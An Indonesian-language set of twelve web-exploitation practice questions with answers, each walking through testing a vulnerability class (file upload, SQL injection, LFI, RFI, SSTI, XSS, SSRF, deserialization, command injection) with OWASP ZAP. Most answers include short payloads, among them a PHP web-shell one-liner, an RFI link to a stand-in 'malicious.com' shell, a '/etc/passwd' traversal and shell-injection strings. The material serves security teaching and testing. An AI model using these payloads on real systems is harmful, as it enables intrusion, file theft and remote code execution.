Web Exploitation
Berikut adalah masing-masing satu contoh soal dan jawaban yang menggunakan OWASP ZAP untuk setiap permasalahan:
1. Form Injection (File Upload)
Soal:
Sebuah website memiliki fitur unggah file yang seharusnya hanya menerima file dengan ekstensi .jpg
atau .png
. Namun, tidak ada validasi sisi server. Anda ingin menguji apakah file .php
dapat diunggah. Gunakan OWASP ZAP untuk memverifikasi dan mengeksploitasi celah ini. Jelaskan langkah-langkahnya!
Jawaban:
- Jalankan OWASP ZAP dan atur sebagai proxy untuk browser Anda.
- Unggah file
.jpg
melalui fitur unggah di website. - Di OWASP ZAP, temukan request POST unggahan file pada "History".
- Edit payload unggahan file dan ubah nama file menjadi
shell.php
. - Ubah konten file dengan kode PHP seperti
<?php system($_GET['cmd']); ?>
. - Resend request yang sudah dimodifikasi menggunakan fitur "Resend".
- Akses file melalui URL yang dihasilkan untuk menguji eksekusi kode berbahaya.
2. Session Injection & Broken Access Control
Soal:
Anda menemukan halaman admin yang dilindungi oleh mekanisme login. Namun, Anda ingin menguji apakah sesi pengguna biasa dapat digunakan untuk mengakses halaman admin. Gunakan OWASP ZAP untuk mengidentifikasi kelemahan ini.
Jawaban:
- Login sebagai pengguna biasa dan buka halaman admin.
- Di OWASP ZAP, periksa request untuk halaman admin di "History".
- Perhatikan header request, terutama cookie session.
- Coba ganti cookie session pengguna biasa dengan cookie session pengguna admin yang ditemukan (jika tersedia).
- Kirimkan ulang request untuk memverifikasi apakah akses berhasil tanpa otorisasi yang tepat.
3. Business Logic Error
Soal:
Sebuah website memiliki sistem pembayaran diskon. Diskon hanya berlaku jika total belanja lebih dari $100, tetapi Anda ingin memverifikasi apakah diskon bisa diterapkan meskipun total belanja kurang dari $100. Gunakan OWASP ZAP untuk menguji celah ini.
Jawaban:
- Tambahkan barang ke keranjang belanja dengan total kurang dari $100.
- Lakukan proses checkout hingga menemukan request POST diskon di "History".
- Modifikasi payload untuk mengubah total belanja menjadi lebih dari $100.
- Kirim ulang request dan periksa apakah diskon diterapkan meskipun total belanja sebenarnya kurang dari $100.
4. SQLi
Soal:
Form login di website tidak memiliki validasi input. Gunakan OWASP ZAP untuk menguji apakah form tersebut rentan terhadap SQL Injection.
Jawaban:
- Jalankan OWASP ZAP dan masukkan kredensial
' OR '1'='1
di form login. - Periksa request POST login di "History".
- Modifikasi parameter username/password dan tambahkan payload seperti
' OR '1'='1 --
. - Kirimkan ulang request untuk memeriksa apakah login berhasil tanpa kredensial yang valid.
5. Blind SQLi
Soal:
Sebuah parameter ID dalam URL diduga rentan terhadap Blind SQL Injection. Gunakan OWASP ZAP untuk memeriksa ini.
Jawaban:
- Gunakan OWASP ZAP untuk mengintersep request dengan parameter ID.
- Ubah nilai parameter menjadi payload seperti
1 AND SLEEP(5)
. - Kirimkan ulang request dan perhatikan waktu respon.
- Jika waktu respon meningkat, maka parameter ID rentan terhadap Blind SQL Injection.
6. LFI
Soal:
Parameter file
di URL digunakan untuk memuat file tertentu. Gunakan OWASP ZAP untuk memeriksa apakah parameter ini rentan terhadap Local File Inclusion (LFI).
Jawaban:
- Gunakan OWASP ZAP untuk mengintersep request dengan parameter
file
. - Ubah nilai parameter menjadi
../../../../etc/passwd
. - Kirimkan ulang request untuk memeriksa apakah isi file
/etc/passwd
ditampilkan di respon.
7. RFI
Soal:
Sebuah website menerima URL eksternal sebagai input. Gunakan OWASP ZAP untuk memeriksa apakah parameter ini rentan terhadap Remote File Inclusion (RFI).
Jawaban:
- Intersep request dengan parameter yang menerima URL eksternal.
- Ubah nilai parameter menjadi URL hosting file berbahaya, seperti
http://malicious.com/shell.php
. - Kirimkan ulang request untuk memeriksa apakah file tersebut dimuat dan dieksekusi.
8. SSTI
Soal:
Sebuah aplikasi memungkinkan pengguna memasukkan template pesan. Gunakan OWASP ZAP untuk memeriksa apakah aplikasi rentan terhadap Server-Side Template Injection (SSTI).
Jawaban:
- Masukkan payload seperti
{{7*7}}
atau${7*7}
ke input template. - Gunakan OWASP ZAP untuk memeriksa request dan respon.
- Jika respon menunjukkan hasil evaluasi (misalnya,
49
), maka aplikasi rentan terhadap SSTI.
9. XSS
Soal:
Form komentar di website tidak memvalidasi input pengguna. Gunakan OWASP ZAP untuk memeriksa apakah form ini rentan terhadap Cross-Site Scripting (XSS).
Jawaban:
- Masukkan payload seperti
<script>alert('XSS')</script>
ke form komentar. - Intersep request menggunakan OWASP ZAP untuk memastikan payload dikirimkan tanpa diubah.
- Periksa apakah script tersebut dijalankan saat komentar ditampilkan.
10. SSRF
Soal:
Sebuah API menerima parameter URL. Gunakan OWASP ZAP untuk memeriksa apakah parameter ini rentan terhadap Server-Side Request Forgery (SSRF).
Jawaban:
- Intersep request dengan parameter URL di OWASP ZAP.
- Ubah nilai parameter menjadi
http://localhost:80
. - Kirimkan ulang request dan periksa apakah respon berasal dari localhost.
11. Object Deserialization
Soal:
Aplikasi menerima data dalam format serialized. Gunakan OWASP ZAP untuk memverifikasi apakah aplikasi rentan terhadap insecure deserialization.
Jawaban:
- Intersep request dengan serialized data di OWASP ZAP.
- Ubah payload serialized menjadi objek berbahaya menggunakan alat seperti
ysoserial
. - Kirimkan ulang request untuk memeriksa apakah aplikasi memproses payload tanpa validasi.
12. RCE
Soal:
Sebuah aplikasi menerima input yang langsung dieksekusi di shell. Gunakan OWASP ZAP untuk menguji apakah aplikasi rentan terhadap Remote Code Execution (RCE).
Jawaban:
- Gunakan OWASP ZAP untuk mengintersep request dengan input yang dieksekusi.
- Masukkan payload seperti
; ls
atau&& whoami
. - Kirimkan ulang request dan periksa respon untuk hasil eksekusi kode.